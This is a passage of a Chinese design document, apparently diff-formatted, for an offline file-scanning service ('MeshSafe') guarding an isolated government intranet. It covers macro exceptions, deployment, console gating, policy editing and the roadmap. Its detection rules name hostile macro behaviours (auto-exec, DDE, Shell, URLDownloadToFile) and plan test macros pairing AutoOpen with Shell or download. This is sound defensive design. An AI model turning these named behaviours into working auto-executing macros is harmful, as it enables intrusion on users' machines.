┌───────────┴───────────┐ + ▼ ▼ + 存在有效例外 无有效例外 + (指纹 + 文件名 + 或 已过期 + 宏行为无害) + │ │ + ▼ ▼ + 跳过此条零容忍 零容忍 reject + 继续步骤 1 +``` + +**关键约束**：例外是**逐规则、逐文件**的，不是"对某类文件全部例外"。一个例外只对清单中明确列出的那一条零容忍规则生效（如仅放宽 `VBAAutoExec`，但 `DDEAutoExecution` 仍会触发零容忍）。 + +#### 7.7.3 例外的审批流程 + +| 方式 | 描述 | 适用 | +| ----------------- | ------------------------------------------------------------------------ | ---------------------------- | +| **线下审批 + 写进策略文件** | 业务侧提交书面申请 → 安全管理员审核 → 写入 `policy.yaml` 的 `macro_exceptions` 段 → 控制台触发热重载 | 一期默认方式，流程清晰、审计留痕自然 | +| 系统内审批流 | 控制台内发起申请 → 另一名管理员审批 → 自动入库并热重载 | 待后续评估，一期不做（与线下方式等价，但开发量显著增加） | + +**一期采用线下审批**。理由：例外数量预计很少（可能 \<10 条），不值得为其开发审批工作流。控制台的配置编辑页面（§9.7）提供例外表的可视化增删改查。 + +*** + +## 8. 部署架构 + +### 8.1 容器拓扑 + +```yaml +services: + api: # FastAPI 应用（API + 控制台） + clamav: # clamd 守护进程 + db: # PostgreSQL + redis: # 任务队列 / 幂等缓存 / 限流 / nonce + nginx: # TLS 终止 + 静态资源 + 反向代理 +``` + +单机 Docker Compose 编排，无需 Kubernetes。 + +### 8.2 目标环境 + +| 环境 | 说明 | +| ---------------- | --------------------------------------------------------- | +| **检测服务部署（服务器端）** | Ubuntu 20.04+ / 麒麟 V10（服务器版），x86_64 架构 | +| **容器运行时** | Docker 20.10+ / Docker Compose v2 | +| **资源要求** | ≥ 4 核 8 GB（ClamAV 签名库加载需约 2 GB 内存），磁盘 ≥ 50 GB | +| **网络** | 检测服务部署在隔离区，仅对摆渡系统开放 443 | +| **目标终端环境** | 麒麟桌面/UOS（x86_64）+ WPS Office，纯 Linux 桌面环境（见 §4.8.2 威胁模型） | + +### 8.3 签名库离线更新流程 + +``` +① 外网同步机：freshclam 每日拉取官方 CVD +② 外网镜像：cvdupdate 模式提供私有镜像 +③ 单向导入：通过光闸/介质将签名库传入内网 +④ 内网分发：内网节点从内网镜像增量同步 +⑤ clamd 加载：更新签名库并重载 +⑥ 验证：GET /api/v1/health 确认版本与更新时间 +``` + +**要求**：更新流程需文档化并纳入运维手册；签名库超过 7 天未更新应在健康检查中告警。 + +### 8.4 网络访问控制 + +| 源 | 目标 | 端口 | 说明 | +| ----- | ---------- | ----------- | ------- | +| 摆渡系统 | Nginx | 443 | 检测接口 | +| 运维终端 | Nginx | 443 | 控制台（按需） | +| Nginx | api | 8000 | 内部 | +| api | clamav | 3310 | 内部 | +| api | db / redis | 5432 / 6379 | 内部 | +| api | 外部 | — | **禁止** | + +*** + +## 9. 在线调试台与文档体系 + +### 9.1 文档体系 + +保持精简，只保留两份： + +| 文档 | 读者 | 内容 | 载体 | +| ------ | ------- | ----------------------- | ------------------- | +| 本文档 | 全体 | 总体方案（架构、检测能力、安全设计、演进路线） | Markdown | +| 《接口文档》 | 对接方开发人员 | API 契约 + 签名规范 + 多语言示例 | Markdown（**对外交付物**） | + +其他内容按需在本文档内补充章节，不单独成文。运维手册、README 等在方案定稿后再补。 + +### 9.2 为何不能只提供 Swagger + +| 问题 | 说明 | +| ------------------- | --------------------------------------------------------- | +| 不体现签名机制 | Swagger 的 "Try it out" 必然失败（缺签名头），对接方会误判接口故障 | +| 不体现 multipart 签名特殊性 | 文件上传时 body 哈希如何计算、`Content-Type` 含随机 boundary 的处理方式必须文字说明 | +| 不体现响应验签 | 对接方若不做验签则失去防篡改保障，而这不会在 Swagger 中体现 | + +因此文档必须是\*\*"人读 Markdown + 机读 OpenAPI + 可运行示例代码"\*\* 三件套。 + +### 9.3 在线调试台组成 + +| 页面 | 路径 | 说明 | +| ---------- | ------------------ | ------------------------------ | +| Swagger UI | `/docs` | FastAPI 生成，含中文描述、示例值、枚举说明 | +| 签名调试台 | `/console/signing` | 表单输入 → 实时生成签名头 → 一键复制 | +| 请求模拟器 | `/console/try` | 构造带签名请求并实际发送，展示完整 HTTP 报文与验签结果 | +| 历史任务 | `/console/tasks` | 按时间/结论筛选，查看详情与 findings | +| 审计查询 | `/console/audit` | 查询审计日志，触发链完整性自检 | +| 引擎看板 | `/console/health` | 各引擎状态、签名库版本、队列深度 | + +**关键设计**：调试台自行实现一遍签名并展示验签计算过程，让对接方直观理解"签名怎么来、怎么验"，比读十页文字更快。 + +### 9.4 控制台必须走正式接口 + +**控制台不得直接调用内部扫描函数**，必须经由完整 HTTP 链路： + +``` +浏览器 ──▶ /console/api/* ──▶ httpx(带签名) ──▶ /api/v1/scans ──▶ 业务逻辑 +``` + +理由： + +1. 测试出的是**真实对接体验**，包含签名正确性、响应验签头等 +2. 避免"控制台能跑通但对接方跑不通"的旁路假象 +3. 控制台自身即为一个调用方，形成 dogfooding 验证 + +**实现要点**：控制台持有独立的内部凭证 `client_id = console-internal`，其调用在审计日志中与外部调用方一致，可区分"人工上传测试"与"系统自动扫描"。 + +### 9.5 门控与部署模式 + +配置项（`config/console.yaml`）： + +```yaml +console: + mode: always_on # always_on / enabled / internal_only + show_api_docs: false + show_signing_tool: false + allow_live_scan: false + show_full_findings: false + allowed_cidrs: [] # internal_only 模式下的允许网段 +``` + +| 模式 | 控制台 | /docs | 适用 | +| --------------- | ----- | ----- | ------------ | +| `always_on` | 关闭 | 关闭 | **生产默认** | +| `enabled` | 开放 | 开放 | 开发测试 | +| `internal_only` | 限指定网段 | 限指定网段 | 生产但内部团队需查阅文档 | + +**关闭的实现方式**：在**路由注册期**决定，而非运行期判断。 + +```python +if console_cfg.mode != "always_on": + app.include_router(console_router, prefix="/console") +``` + +这样生产环境中 `/console` 与 `/docs` 在路由表中根本不存在，外部扫描得到 404 —— 比返回 403 更好，因为 403 会暴露"这里有东西"。 + +**注意**：`openapi_url` 需同步控制，否则关闭 UI 但保留 `/openapi.json` 等于文档仍在被爬取。 + +### 9.6 对外文档的信息边界 + +对外文档需控制信息暴露程度： + +| 应当提供 | 不应提供 | +| -------------- | ---------- | +| API 契约与字段枚举 | YARA 规则正文 | +| 签名规范与校验向量 | 内部代码结构与目录 | +| 规则名 + 含义 + 严重度 | 引擎版本号与依赖细节 | +| 多语言完整示例代码 | 绕过检测的手法说明 | + +### 9.7 策略配置页面 + +#### 9.7.1 核心原则：数据库为准 + +配置同时以 YAML 文件和数据库两种形式存在，但**数据库是权威数据源**： + +| 项 | 说明 | +| ------- | ---------------------------------------------------- | +| 权威源 | `policy_versions` 表 + `macro_exceptions` 表，控制台编辑直接写库 | +| YAML 文件 | 每次发布版本时从数据库**导出**，供文件备份与容器镜像打包使用 | +| 加载方式 | API 服务启动时从数据库加载当前生效版本，而非读 YAML 文件 | +| 一致性 | 数据库与 YAML 的 SHA256 定期校验，不一致则告警 | + +**为什么数据库为准**：实施人员通过网页改配置时，不可能手动同步修改文件和重新部署容器。数据库方案让"编辑 → 热重载"变为一次操作。 + +#### 9.7.2 双模式编辑 + +``` +┌──────────────────────────────────────────────────┐ +│ 策略编辑页 /console/config │ +├──────────────┬───────────────────────────────────┤ +│ 📋 表单模式 │ 📝 YAML 模式 │ +│ │ │ +│ · 分组卡片 │ 完整 YAML 编辑器（只读高亮） │ +│ · 下拉框/开关 │ 直接编辑原始结构 │ +│ · 带校验提示 │ 高级用户可精确控制字段 │ +│ · 初学者友好 │ 实施人员可直接粘贴整段配置 │ +└──────────────┴───────────────────────────────────┘ + │ │ + └────────┬───────────┘ + ▼ + 统一后端校验 → 保存到数据库 → 触发热重载 +``` + +| 模式 | 适合场景 | 特点 | +| ------- | ---------- | --------------------------------------- | +| 表单模式 | 运维人员日常调参 | 分组卡片、枚举下拉、阈值滑块、SHA256 格式校验、到期时间日历选择 | +| YAML 模式 | 高级实施人员批量配置 | 与 `policy.yaml` 完全同结构、语法高亮、粘贴即校验、实时预览影响 | + +两种模式共享同一份后端校验逻辑，保存时执行相同的完整校验（§7.4 策略文件校验规则）。 + +#### 9.7.3 策略页面分区 + +``` +策略配置页 +├── ① 基本裁决参数（global） +│ ├── block_score / review_score 阈值滑块 +│ ├── engine_failure_mode 开关 +│ └── 各文件大小上限 +│ +├── ② 零容忍规则集（zero_tolerance_rules） +│ ├── 全部规则，每条独立开关 +│ ├── 新增 / 删除条目（需填规则名） +│ └── 每条附规则含义说明与来源 +│ +├── ③ 规则覆盖（rule_overrides） +│ ├── key = 规则名，value = {action, reason} +│ ├── 下拉框列出已注册的全部规则供选择 +│ └── action 枚举限制为 reject / manual_review +│ +├── ④ 宏行为例外（macro_exceptions） +│ ├── 表格：指纹 / 文件名模式 / 原因 / 审批人 / 到期时间 +│ ├── 新增时校验 SHA256 格式、到期时间 +│ ├── 到期自动标记失效，保留历史记录 +│ └── 支持"扫描中发现需例外的文件 → 一键添加"快捷入口 +│ +├── ⑤ 允许的扩展名（allowed_extensions） +│ └── 勾选式多选项，附格式说明 +│ +└── ⑥ 版本管理面板 + ├── 当前版本号 / SHA256 / 创建时间 / 创建人 + ├── 历史版本列表（可按版本号 / 时间筛选） + ├── 点击历史版本 → 只读预览 + └── 一键回滚到任意历史版本 +``` + +#### 9.7.4 保存校验流程 + +``` +用户点击"保存" + │ + ▼ +前端基本校验（必填 / 格式 / 枚举范围） + │ 通过 + ▼ +后端完整校验（与 §7.4 策略文件校验规则相同） + │ 通过 + ▼ +写入 policy_versions 表（新行，状态 = pending） + │ + ▼ +触发热重载 /api/v1/policies/reload + │ 成功 + ▼ +更新 policy_versions 状态 → active（旧版本自动标记 archived） + │ + ▼ +导出 YAML 到 `config/policy.yaml`（供备份） + │ + ▼ +审计日志记录完整 diff + │ + ┌───────── 失败分支 ─────────┐ + ▼ ▼ +热重载失败 校验失败（极罕见） + │ │ + ▼ ▼ +新策略自动标记 archived 返回具体字段错误 +继续使用旧策略 不写入数据库 +``` + +**关键设计**：任何环节失败都不会让系统进入"无有效策略"状态。 + +#### 9.7.5 权限分级 + +| 角色 | 权限 | +| ---------- | --------------------------------------------------- | +| `admin` | 完整读写：编辑策略各段、增删零容忍规则、增删例外、回滚版本 | +| `operator` | 只读 + 例外增删：可查看全部配置，可新增/删除宏行为例外（需审批留痕），不可修改裁决阈值或零容忍规则 | +| `viewer` | 只读：仅查看当前生效策略与历史版本，不可编辑 | + +> **等保三级对应**：权限分级即"访问控制"要求的落地。`operator` 角色可管例外（因为是日常运维高频操作）但不能改裁决逻辑，降低误操作风险。 + +*** + +## 10. 实施路线 + +> **原则**：一期聚焦核心风险敞口——"打开即执行"载体的零容忍拦截 + 恶意文件识别。其余能力按风险收益排序。沙箱（原 P4）与大模型（原 P5）已从实施计划中移除，前者见 §12.4，后者见 §12.1。 + +### 10.1 阶段总览 + +| 阶段 | 定位 | 核心内容 | 交付物 | +| ------------- | ----------- | ----------------------------------------------------------------------------------------------------------------- | -------------------- | +| **P0 核心引擎** | 能跑通、能拦核心风险 | 项目骨架 + 安全层 + L0/L1/L2 检测流水线 + **零容忍机制** + **宏行为分级** + **LNK 深度解析** + **URL/二维码提取** + **open_risk 等级** + **例外机制** | 完整检测引擎，覆盖场景中最高频的恶意载体 | +| **P1 扩展检测** | 覆盖剩余格式与启发式 | ISO 挂载内递归 + CHM 复合文档校验 + 内网特征词表引擎 + 畸形文件启发式检测 + 同步/异步任务编排 | 覆盖全部目标格式，降低误报率 | +| **P2 控制台与部署** | 可配置、可运维、可交付 | 控制台（登录/锁定/CSRF）+ **策略配置页面**（§9.7 双模式/版本管理/回滚）+ Docker Compose 编排 + Nginx TLS + 签名调试台 + 审计链自检 | 单机可部署、实施人员可操作的完整系统 | +| **P3 接口与测试** | 正式交付 | 对外接口文档（含签名规范、校验向量、四语言示例）+ 单元/集成测试 + 恶意样本回归测试集 | 可交付、可联调、可验收 | + +### 10.2 各阶段详细内容 + +#### P0 核心引擎 + +**目标**：覆盖场景中最高频、最危险的恶意载体。能跑通一条完整的"上传 → 检测 → 裁决 → 返回结论"链路。 + +| 模块 | 具体工作 | 优先级理由 | +| ----------------- | --------------------------------------------------------------------------- | ------------------------ | +| 项目骨架 | FastAPI + PostgreSQL + Redis + 配置体系 + ORM + 安全层（HKDF / 签名 / PBKDF2 / 审计哈希链） | 全部上层的基础 | +| L0 结构层 | 真实类型识别 / 伪装检测 / 递归安全解包 / 路径穿越 / zip bomb | 拦截 60% 以上的人工伪装攻击 | +| L1 ClamAV | clamd 接入 + INSTREAM 协议 + 签名库版本记录 | 已知恶意样本的基本拦截 | +| L2 文档深度 | oletools（olevba + mraptor + msodde + oleobj）+ pypdf + OOXML 解析 | 宏 / DDE / PDF JS 是场景核心风险 | +| **零容忍机制** | 当前零容忍规则集（§4.8.4，含跨平台 / Linux 专属 / 纵深防御三层）+ 独立裁决步骤（§7.2 步骤 0） | 打开即执行载体必须零容忍 | +| **宏行为分级** | 危险 API 清单 + 自动执行入口检测 + 混淆特征识别（§4.8.4） | 区分"有害宏"与"公文模板宏" | +| **LNK 深度解析** | LnkParse3 库 + 目标路径/参数解析 + 远程链接检测 | LNK 是高频钓鱼载体 | +| **URL/二维码提取** | 文档外部链接部件解析 + zxing/opencv 二维码解码 + 恶意 URL 库查询（§4.8.6） | 链接与二维码是常见诱导入口 | +| **open_risk 等级** | 四个等级 + factors + advice 模板（§6.7） | 系统判定与人工提示分离 | +| **例外机制** | 宏行为例外的五道保险 + 审批留痕 + 到期自动失效（§7.7） | 必须支持合法公文模板的受控放行 | +| 策略引擎 | PolicyStore 加载校验 + PolicyEngine 裁决（含零容忍 + 评分 + rule_overrides） | 全部检测信号的裁决中枢 | +| 扫描编排 | 流水线编排 + 递归队列 + 引擎降级处理 | 让各引擎协同工作 | +| API 路由 | 扫描提交 / 结果查询 / health / policies/reload | 对外接口的最小集合 | + +#### P1 扩展检测 + +**目标**：覆盖 P0 未涉及的格式和启发式检测，降低误报率。 + +| 模块 | 具体工作 | 优先级理由 | +| ------------- | -------------------------------------- | ------------------ | +| ISO 挂载内递归 | 挂载后自动扫描可执行文件（§4.8.2 IsoWithExecutable） | ISO 是"打开即挂载"载体 | +| CHM 复合文档校验 | 类型识别 + 结构完整性校验（§4.8.2 ChmWithScript） | CHM 帮助文件可执行脚本 | +| 内网特征词表引擎 | 词表匹配 + 正则 + 组合规则 | 识别内网特有模板与特征，辅助例外判断 | +| 畸形文件启发式 | 结构完整性校验 + 非标准字段检测 | 降低解析器漏洞可利用性 | +| YARA + pefile | YARA 规则库集成 + PE 节区熵值 / 导入表 / 签名目录分析 | 二进制文件的恶意检测 | +| 同步/异步任务 | 大文件异步处理 + task_id 轮询 + 队列管理 | 避免 HTTP 长连接超时 | + +#### P2 控制台与部署 + +**目标**：让实施人员能操作（配置、查看、调试）、能部署（一键启动）、能通过安全测评。 + +| 模块 | 具体工作 | 对应章节 | +| -------------- | ---------------------------------------- | ------------- | +| 控制台认证 | 登录 / 失败锁定 / CSRF / 30 分钟会话 | §5.3 | +| **策略配置页面** | 表单+YAML 双模式 / 数据库为准 / 版本历史 / 一键回滚 / 权限分级 | §9.7 | +| 签名调试台 | 实时生成签名头 / 展示验签过程 | §9.3 | +| 历史任务 / 审计查询 | 任务列表筛选 + 审计链自检 | §9.3 / §5.4 | +| 引擎看板 | 各引擎状态 + 签名库版本 + 队列深度 | §9.3 | +| Docker Compose | api + clamav + db + redis + nginx 编排 | §8.1 | +| Nginx TLS | TLS 1.2+ 终止 + 反向代理 + 静态资源 | §8.2 / §5.6.3 | +| 离线签名库同步 | 外网镜像 + 单向导入 + 内网分发 + 超期告警 | §4.3.2 / §8.3 | + +#### P3 接口与测试 + +**目标**：正式交付物完备，对接方可联调，验收可复现。 + +| 模块 | 具体工作 | 交付形式 | +| --------- | ---------------------------------------------- | --------------- | +| 对外接口文档 | 签名规范 + 校验向量 + 四语言示例（Python / Java / C# / Go） | Markdown（已完成初稿） | +| 单元测试 | 各引擎独立测试 + 策略裁决测试 + 签名/验签测试 | `tests/` 目录 | +| 集成测试 | 端到端扫描链路 + 异常引擎降级 + 热重载 | 测试脚本 | +| 恶意样本回归测试集 | 覆盖零容忍全部规则 + 宏分级 + Linux 专属载体 + 纵深防御 Windows 载体 | 样本库 + 期望结果表 | + +### 10.3 阶段出口标准 + +**P0 出口（核心引擎可用）** + +| 检查项 | 通过标准 | +| ------------- | --------------------------------------------------- | +| 零容忍规则集 | 全部正确触发 reject，不走评分 | +| 宏行为分级 | 有害宏（Shell/URLDownloadToFile）触发零容忍，无害宏（仅本地文档操作）放行或标记 | +| LNK 深度解析 | 指向 exe / 远程路径 / 脚本的 LNK 零容忍拦截 | +| URL / 二维码 | 恶意库命中→零容忍；非常规端口→转复核；普通链接→放行但提示 | +| open_risk 等级 | 各等级正确映射，与 action 同时返回 | +| 例外机制 | 指纹匹配 + 文件名匹配 + 到期过期自动失效 | +| 引擎不可用 | `fail_closed` 下拒绝文件 | +| 审计哈希链 | 扫描结果 + 策略变更 + 例外增删全部留痕且链可校验 | + +**P1 出口（覆盖全部格式）** + +| 检查项 | 通过标准 | +| -------- | ------------------------ | +| ISO 递归扫描 | 挂载后内部 exe/msi 被拦截 | +| CHM 识别 | 类型识别正确，恶意 CHM 零容忍 | +| 畸形文件检测 | 结构异常的文档触发 warning，不崩 | +| 误报回归 | 引入 P1 能力后正常业务文件误报率不高于 P0 | + +**P2 出口（可交付）** + +| 检查项 | 通过标准 | +| ------------------ | --------------------------------------- | +| 控制台 `always_on` 模式 | 路由表中无 `/console` 和 `/docs`，外部扫描返回 404 | +| 策略配置页面 | 表单模式与 YAML 模式都能正确编辑、保存、热重载；失败时回滚 | +| 版本管理 | 可查历史版本、可一键回滚、回滚后立即生效 | +| 控制台签名链路 | 控制台上传的测试走完整签名链路，审计日志标记 `source=console` | +| Docker Compose | `docker compose up -d` 一键启动，全部容器健康 | +| TLS | 仅 443 暴露，无明文端口 | + +**P3 出口（可联调可验收）** + +| 检查项 | 通过标准 | +| -------- | ----------------------------------------------- | +| 接口文档校验向量 | 对接方可直接用于单元测试（已预跑通过） | +| 四语言示例 | Python / Java / C# / Go 四套 SDK 骨架 + 可运行的签名/验签示例 | +| 回归测试集 | 全部零容忍规则 + 宏分级 + Linux 专属载体样本，预期结果与实际结果 100% 一致 | + +*** + +## 11. 风险与应对 + +| 编号 | 风险 | 影响 | 应对 | 责任阶段 | +| --- | --------- | --------------- | ----------------------------- | ---- | +| R1 | 病毒库长期不更新 | 检测能力形同虚设 | 自动化离线同步流程 + 超期告警（§8.3） | P2 | +| R2 | YARA 规则失准 | 误报影响业务 / 漏报造成风险 | 规则版本管理 + 定期回归测试集 | P3 | +| R3 | | 摆渡业务无法开展 | `manual_review` 通道 + 人工复核回写 | P1 | +| R4 | 引擎性能瓶颈 | 吞吐不足 | clamd 常驻 + 异步模式 + 水平扩展 worker | P1 | +| R5 | 大文件解包耗尽资源 | 服务不可用 | 解包配额 + 超时 + 容器资源限制 | P1 | +| R6 | 对接方签名实现错误 | 联调受阻 | 文档校验向量 + 调试台 + SDK | P3 | +| R7 | 审计日志被删 | 合规不达标 | 哈希链 + 链校验自检接口 | P1 | +| R8 | 密钥泄露 | 伪造检测结论 | 环境变量注入 + 用途隔离派生 + 定期轮换 | P2 | +| R9 | 控制台暴露攻击面 | 被探测 / 被利用 | 生产默认关闭 + 登录锁定 + 审计 | P2 | +| R10 | 接口契约变更 | 对接方返工 | 路径版本 + 兼容策略 + 变更记录 | P3 | +| | | | | | + +*** + +## 12. 长期演进预研（非本期实施内容） + +### 12.1 本期定位：确定性能力优先 + +经需求澄清，本期（一期）**不引入大模型 / AI 能力**。所有检测结论均由**确定性手段**产出： + +| 特性 | 确定性手段 | 大模型手段 | +| ---- | ------------ | -------------- | +| 可复现性 | ✅ 同输入必同输出 | ❌ 存在随机性 | +| 可举证性 | ✅ 命中哪条规则清晰可述 | ❌ 结论难以向当事人解释 | +| 资源依赖 | ✅ 无需推理算力 | ❌ 需 GPU / 推理服务 | +| 延迟 | ✅ 毫秒\~秒级 | ❌ 秒级\~十秒级 | +| 幻觉风险 | ✅ 无 | ❌ 存在 | + +在法院 / 政务场景下，「可举证」与「可复现」是**硬性要求**——检测结论可能需要向当事人出示。因此本期以确定性规则为主是正确取舍。 + +**代价与补偿**：规则无法覆盖「未知形态」与「语义层面」，这是客观局限。本方案的补偿措施是： + +| 局限 | 补偿措施 | +| -------- | -------------------------------- | +| 新型攻击形态滞后 | 规则库版本管理 + 定期回归测试 + 快速更新流程 | +| 无法理解语义 | 本期不做（见 §12.3），依靠用户侧风险提示（见 §6.7） | +| 误报难以根治 | 零容忍 + 分级 + 例外机制 + 人工复核通道（见 §7.5） | + +### 12.2 三层能力模型（架构预留） + +架构上仍保留三层结构，语义层作为**可插拔扩展点**预留，确保未来引入时无需重构： + +``` +┌─────────────────────────────────────────────────────┐ +│ L-S 语义分析层（长期预研，一期不实现） │ +│ 大模型 / 语义规则 / 上下文关联判断 │ +│ 产出：语义风险信号 + 解释性结论 │ +├─────────────────────────────────────────────────────┤ +│ L-R 规则分析层（本期实现） │ +│ ClamAV / YARA / oletools / pefile / LnkParse │ +│ 产出：确定性的命中信号 │ +├─────────────────────────────────────────────────────┤ +│ L-D 数据层（本期实现） │ +│ 结构识别 / 递归解包 / 哈希 / 类型判定 │ +│ 产出：文件的基础属性与容器结构 │ +└─────────────────────────────────────────────────────┘ +``` + +**预留的具体形式**： + +| 项 | 预留内容 | +| ---- | ---------------------------------------------------------- | +| 引擎接口 | `Engine` 基类的 `layer` 字段已支持 `LS`；未来新增 `SemanticEngine` 即可注册 | +| 信号结构 | `Finding.meta` 中预留 `deterministic` 字段，用于标记信号来源的确定性 | +| 配置 | 策略中预留 `semantic.enabled` 开关（默认关闭） | +| 裁决 | 策略引擎支持按 `deterministic` 设置权重上限，无需改动裁决逻辑 | + +### 12.3 长期预研方向（不列入实施计划） + +以下方向经评估有价值，但因依赖算力、效果待验证、举证效力待确认，**本期不实施**： + +| 方向 | 潜在价值 | 暂缓原因 | +| -------- | ----------------- | -------------------- | +| 诱导话术识别 | 识别"请登录此链接办理"类诱导表达 | 需求已明确本期不需要 | +| 仿冒公文模板识别 | 判断内容是否符合真实公文体例 | 需模板库 + 效果验证 | +| 上下文关联分析 | 识别批量钓鱼、机器化命名 | 纯统计方法即可实现，不需模型，可独立推进 | +| 规则辅助生成 | 缩短新威胁的规则覆盖周期 | 属研发辅助工具，不在运行时链路 | +| 辅助复核摘要 | 降低人工复核成本 | 可先用模板化摘要替代 | + +**若未来引入大模型，必须满足的约束**（提前记录，避免后续返工）： + +| 约束 | 要求 | +| --------- | ------------------------------- | +| 完全离线、本地推理 | 模型权重部署在内网，不调用外部 API（数据外传违反隔离要求） | +| 模型选型 | 优先可商用授权的开源模型（Qwen 系列、GLM 系列等） | +| 只喂提取物 | 仅提供解包后的文本、宏源码、脚本内容，不提供原文件 | +| 不单独裁决 | 模型输出作为信号之一参与评分，权重受限，不可作为唯一拒绝依据 | +| 可一键关闭 | 模型不可用时降级为纯规则模式，主流程不受影响 | +| 决策留痕 | 模型版本、提示词版本、输入摘要哈希、原始输出全部记录 | + +### 12.4 沙箱（L3）的定位调整 + +原方案将动态沙箱列为 P4 可选。结合需求澄清（内网为国产化终端、以文档为主），**建议将沙箱从实施计划中移除**，仅作为长期可选项保留。 + +| 考量 | 分析 | +| ---- | ------------------------------------------------------- | +| 环境适配 | CAPE / DRAKVUF 依赖 Windows 客体与裸金属虚拟化（VT-x/EPT），与国产化环境不匹配 | +| 场景适配 | 场景以文档为主，静态分析对文档类样本覆盖度已较高 | +| 投入产出 | 一套沙箱环境的投入 ≈ 整个检测服务的开发投入 | +| 替代方案 | 结构完整性校验 + 畸形文件检测，成本低一个数量级，覆盖部分解析器漏洞风险 | + +**替代措施**：对高危解析路径（字体、图像、压缩流、复合文档）增加结构完整性校验，检测畸形构造。虽无法根治解析器漏洞，但可显著降低可利用性。 + +**解析器漏洞风险的定位**：该类风险**无法由检测服务单方面消除**，属于终端侧加固范畴（打补丁、限制字体自动加载、禁用宏）。检测服务的责任是识别出「该格式存在解析器攻击面」并在结论中提示，不给出「检测通过即绝对安全」的暗示。 + +*** + +*** + +## 13. 待确认事项 + +### 13.2 已确认（方案中已有明确结论） + +| 编号 | 事项 | 决定 | 写入位置 | +| ------- | ------------ | ----------------------------------------------------------------------- | --------------- | +| Q1 | 对外文档形式 | 双文档：总体方案（本文档 Markdown）+ 接口文档（对外交付 Markdown） | §9.1 | +| Q2 | 官方 SDK 优先级 | 一期提供 Python SDK；Java / C# / Go 给完整示例代码 | 接口文档 | +| Q3 | 接口版本策略 | 路径版本 `/api/v1/`，v2 路径并存 | §6.6 | +| Q4 | 对外文档规则清单粒度 | 给到"规则名 + 含义 + 严重度"级别，不暴露规则正文 | §9.6 | +| Q5 | 控制台任务标记 | 共用数据库，打 `source=console` 标记 | §9.4 | +| Q6 | 沙箱是否纳入一期 | **不纳入**。架构预留，环境不匹配且投入产出失衡 | §10 总览 + §12.4 | +| Q7 | 审计日志对接集中审计平台 | 一期提供导出接口 | §5.4 | +| Q8 | 大模型接入的算力与选型 | **不纳入一期**。长期预研，架构预留语义层扩展点 | §12.1 / §12.2 | +| Q9 | 语义层信号的证据效力定位 | **不纳入一期**。长期预研时需确认合规意见 | §12.3 | +| Q10 | 内网外发方向的内容审计 | **一期不做**。依赖业务密级规则，作为后续独立需求立项 | §1.3 | +| Q11 | 例外机制的审批方式 | **一期用线下审批 + 写进策略文件**，系统内审批流后续评估 | §7.7.3 | +| Q12 | 配置编辑方式 | **数据库为准**，表单+YAML 双模式，版本历史 + 一键回滚 | §9.7.1 / §9.7.2 | +| Q13 | 等保双因素认证 | **一期依赖部署侧统一身份认证**，服务自身实现 TOTP 列为待补 | §5.6.2 | +| **Q14** | **国产化终端 OS** | **麒麟桌面/UOS（x86_64）+ WPS Office**，纯 Linux 桌面环境 | §4.8.2 | +| **Q15** | **WPS 使用情况** | **内网基本用 WPS，也有用操作系统自带 Office 的**；AutoOpen/Shell 调用在 WPS on Linux 上需实测验证 | §4.8.5 | + +### 13.3 待确认（影响实现方向或验收标准） + +以下事项需在对应阶段启动前确认，否则会影响实现方案： + +| 编号 | 事项 | 为什么重要 | 建议方案 | 需在何阶段确认 | +| ------- | ------------------------- | -------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | ---------------- | +| **Q20** | **WPS on 麒麟/UOS 宏行为实测结果** | AutoOpen/Workbook_Open 是否自动触发；Shell/CreateObject 是否有效——决定宏相关零容忍规则在 Linux 上的威胁等级 | 制作 3\~5 个测试宏模板（AutoOpen + Shell、AutoOpen + Download、纯本地操作），在 WPS on 麒麟桌面打开验证 | **P0 开发前（必须完成）** | +| **Q16** | **摆渡系统的调用技术栈** | 决定 SDK 实际优先级。若摆渡系统用 Java，则 Python SDK 可以延后 | 摆渡系统开发侧提供技术栈确认 | P3 启动前（影响交付形式） | +| **Q17** | **配置变更是否需要草稿+发布模式** | 当前方案是"编辑 → 立即热重载"，变更即时生效。多人协作时可能需要草稿区 + 审核发布两步走 | 单人实施可简化为立即生效；多人协作建议加草稿+发布 | P2 启动前（影响控制台开发量） | +| **Q18** | **ClamAV 签名库的离线同步由谁运维** | 签名库超过 7 天不更新会触发健康检查告警。需明确：外网同步机谁管、单向导入介质谁负责、内网分发谁维护 | 由实施侧运维团队负责，服务只提供版本检查与告警 | P2 部署前（影响运维方案） | +| **Q19** | **是否需要对接内部统一身份认证** | §5.6.2 提到控制台双因素认证的依赖。若对接 UAC/CA，则控制台自身不需实现 TOTP；否则需要 | 优先对接既有统一认证；无则实现 TOTP | P2 开发前 | + +*** + +## 附录 A：已确定的技术选型 + +| 项目 | 选型 | 说明 | +| ------ | ------------------------- | ---------------- | +| 开发语言 | Python 3.11+ | 检测生态最完整 | +| Web 框架 | FastAPI + Uvicorn | 异步、原生 OpenAPI | +| 数据库 | PostgreSQL 15 | 任务、策略、审计 | +| 缓存/队列 | Redis 7 | nonce、限流、幂等、异步队列 | +| 容器编排 | Docker Compose | 单机足够，无需 K8s | +| 病毒引擎 | ClamAV（clamd） | 签名库离线镜像 | +| 文档检测 | oletools + pypdf + pefile | Python 原生生态 | +| 规则引擎 | YARA 4.5（yara-python） | 可嵌入进程，性能优于命令行 | +| 反向代理 | Nginx | TLS 终止 + 静态资源 | +| 目标系统 | Ubuntu / 麒麟 V10 | 国产化适配 | + +## 附录 B：项目结构规划 + +``` +MeshSafe/ +├── app/ +│ ├── main.py # 应用入口、路由注册、门控 +│ ├── config.py # 配置加载 +│ ├── db.py # 数据库会话 +│ ├── models.py # ORM 模型 +│ ├── api/ # /api/v1 路由 +│ │ ├── scans.py +│ │ ├── policies.py +│ │ ├── health.py +│ │ └── audit.py +│ ├── console/ # 控制台（可关闭） +│ │ ├── router.py +│ │ ├── auth.py +│ │ ├── views.py +│ │ └── templates/ +│ ├── engines/ # 检测引擎 +│ │ ├── base.py +│ │ ├── structure.py # L0 +│ │ ├── extractor.py # L0 安全解包 +│ │ ├── clamav.py # L1 +│ │ ├── documents.py # L2 +│ │ └── binary.py # L2B +│ ├── security/ # 安全层 +│ │ ├── crypto.py # 口令哈希、HKDF +│ │ ├── signing.py # 请求/响应签名 +│ │ └── deps.py # 认证依赖、限流 +│ ├── services/ +│ │ ├── policy.py # 策略引擎 +│ │ ├── scanner.py # 扫描编排 +│ │ ├── audit.py # 审计哈希链 +│ │ └── tasks.py # 异步任务 +│ └── templates/ # 模板 +├── config/ +│ ├── policy.yaml # 全局检测策略 +│ └── console.yaml # 控制台门控 +├── rules/ # YARA 规则库 +├── docs/ # 文档 +├── scripts/ # 